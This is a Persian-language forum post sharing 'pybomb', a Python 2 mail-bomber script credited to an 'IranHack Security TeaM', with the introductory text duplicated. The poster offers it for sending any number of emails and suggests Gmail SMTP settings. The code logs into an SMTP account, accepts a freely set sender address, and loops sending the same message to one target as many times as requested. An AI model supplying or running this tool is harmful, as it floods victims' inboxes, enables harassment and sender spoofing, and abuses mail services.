سلام خدمت دوستان.
این هم برنامه میل بمبر با پایتون که بیکار بودن نوشتم....
شما به هر چقدر تعداد دلخواه خواستید می تونید ایمل بفرستید با این برنامه....
برای راحتی اگه حساب کاربری جیمیل دارید smtp server و port رو اینا بزارید:
server = "smtp.gmail.com";
port = 587;
تقدیم شما عزیزان:[img]images/smilies/Smileys/48.gif[/img]
این هم برنامه میل بمبر با پایتون که بیکار بودن نوشتم....
شما به هر چقدر تعداد دلخواه خواستید می تونید ایمل بفرستید با این برنامه....
برای راحتی اگه حساب کاربری جیمیل دارید smtp server و port رو اینا بزارید:
server = "smtp.gmail.com";
port = 587;
تقدیم شما عزیزان:[img]images/smilies/Smileys/48.gif[/img]
کد:
import smtplib import mimetypes import sys import time from email.MIMEText import MIMEText class SMTP(object): def title(self): print """ \t______ _ _ \t| ___ \ | | | | \t| |_/ /_ _| |__ ___ _ __ ___ | |__ \t| __/| | | | '_ \ / _ \| '_ ` _ \| '_ \ \t| | | |_| | |_) | (_) | | | | | | |_) | \t\_| \__, |_.__/ \___/|_| |_| |_|_.__/ \t __/ | \t |___/ \t Create By IranHack Security TeaM """ def SMTPconnect(self): print "Baraye Didan List kamel smtp server ha link zir ra bebinid :" print "http://www.e-eeasy.com/SMTPServerList.aspx" self.smtpserver=raw_input("\nEnter SMTP server: ") self.smtpport=input("Enter SMTP port (better 587): ") print "\tMaking Connection, Please wait" print "\tThis will take some seconds!" try: self.mailServer = smtplib.SMTP(self.smtpserver,self.smtpport) except IOError, e: print 'Error: %s' %(e) time.sleep(5) sys.exit(1) self.mailServer.starttls() self.username=raw_input("\nEnter Username: ") self.password=raw_input("Enter Password: ") try: self.mailServer.login(self.username,self.password) except BaseException, e: print 'Error: %s' % (e) time.sleep(3) sys.exit(1) def buildemail(self): print "\tBuilding message part" self.From = raw_input("\nFrom: ") self.To = raw_input("\nTo: ") self.Subject = raw_input("\nSubject: ") self.Message = raw_input("\nMessage: ") mensaje = MIMEText(self.Message) mensaje['From']=self.From mensaje['To']=self.To mensaje['Subject']=self.Subject self.ammount = input("How Many times would you like to send email: ") x = 0 while x < self.ammount: self.mailServer.sendmail(self.From, self.To, mensaje.as_string()) x+=1 print "Send %d messages to %s" %(self.ammount,self.To) time.sleep(7) print "TNX 4 using pybomb :)" if __name__ == '__main__': s = SMTP() s.title() s.SMTPconnect() s.buildemail()